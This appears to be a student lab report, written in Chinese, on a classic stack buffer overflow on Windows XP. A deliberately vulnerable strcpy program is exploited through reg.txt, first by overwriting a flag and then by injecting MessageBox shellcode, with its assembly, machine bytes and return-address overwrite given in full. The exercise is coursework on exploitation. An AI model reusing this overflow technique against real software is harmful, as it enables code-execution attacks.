Shellcode编写
题目
请在XP VC6生成课本示例5-1的案例(DEBUG模式),通过修改reg.txt文件,址入shellcode。Shellcode的内容与课本一致。撰写实验报告。
解答
程序
#include <iostream> #include <windows.h> #define REGCODE "12345678" int verify(char* code) { int flag; char buffer[44]; flag=strcmp(REGCODE,code); # 若str1=str2,则返回零 strcpy(buffer,code); return flag; } void main() { int vFlag=0; char regcode[1024]; FILE * fp; LoadLibrary("user32.dll"); if(!(fp=fopen("reg.txt","rw+"))) exit(0); fscanf(fp,"%s",regcode); vFlag=verify(regcode); if(vFlag) printf("wrong regcode!\n"); else printf("passed!\n"); fclose(fp); system("pause"); }
|
一、程序正常运行
regcode="12341234"
regcode="12345678"
二、弹出”passed!”
思路
当vFlag!=1
时程序跳转到passed
,所以需要使vFlag==0
。函数Verify的栈帧中,buffer
对应44个字节,所以只需要利用UltraEdit
在reg.txt
中写入48位数据且后四位全部为0
即可覆盖Flag,改变函数verify
的返回值,从而改变vFlag
的值。
修改reg.txt
1. flag==-1
失败
2.flag==1
成功
解释
读入字符串时默认遇到0就停下,末尾只能读入一个0,所以需要利用大端存储将flag
的后三个字节全部置零,即使flag=1
,即REGCODE
大于code
。
三、弹出MessageBox
1.思路
#### 2.MessageBox函数解析
```C int MessageBox( HWND hWnd, //handle to owner window 消息框所属窗口的句柄,如果为NULL,消息框则不属于任何窗口 LPCTSTR lpText, //text in message box 字符串指针,所指字符串会在消息框中显示 LPCTSTR lpCaption, //message box title 字符串指针,所指字符串将成为消息框的标题 UNIT uType //message box style 消息框的风格(单按钮、多按钮等),NULL代表默认风格 )
|
3. 查看弹出MessageBox所对应的汇编代码
#include <stdio.h> #include <windows.h> void main() { MessageBox(NULL,NULL,NULL,0); return; }
|
==*注:不建议使用PUSH 0,因此采用xor ebx,ebx push ebx代替==
4. 找到MessageBox函数入口地址
a)调用函数,查看指令地址
地址:77D507EA
b)利用Dependency工具查看地址
随便拖入一个PE文件,就可以看到它所使用的库文件了,在左侧列中选出USER32.DLL,MessageBox显示字符类型为A类(ASCII),因此在汇编语言中调用的应该是MessageBoxA
所以函数地址为```0x77D10000+0x000407EA=0x77D504EA
|
c)编写指令代码
#include <stdio.h> #include <windows.h> void main() { LoadLibrary("user32.dll"); _asm { xor ebx,ebx//使用寄存器代替0 push ebx push ebx push ebx push ebx mov eax,77d507eah//函数入口地址77d507ea call eax } return; }
|
嵌入字符串“westwest”,对应16进制w:77
,e:65
,s:73
,t:74
,大端存储改为push 74736577
#include <stdio.h> #include <windows.h> void main() { LoadLibrary("user32.dll"); _asm { xor ebx,ebx push ebx//使用寄存器代替0 push 74736577h//注意标明16进制 push 74736577h mov eax,esp//栈顶即指向字符串的指针 push ebx push eax push eax push ebx mov eax,77d507eah//函数入口地址77d507ea call eax } return; }
|
弹出窗口,测试成功
得到机器代码33 DB 53 68 77 65 73 74 68 77 65 73 74 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0
d)编写Shellcode代码
用记事本将空格替换为’\x’
#include <stdio.h> #include <windows.h> char ourshellcode[]="\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x77\x65\x73\x74\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0"; void main() { LoadLibrary("user32.dll"); int * ret; ret=(int*)&ret+2; (*ret)=(int)ourshellcode; return; }
|
将EIP内容替换为shellcode内容,执行shellcode代码
测试成功
将shellcode写入reg.txt
buffer
地址
弹出对话框,实验成功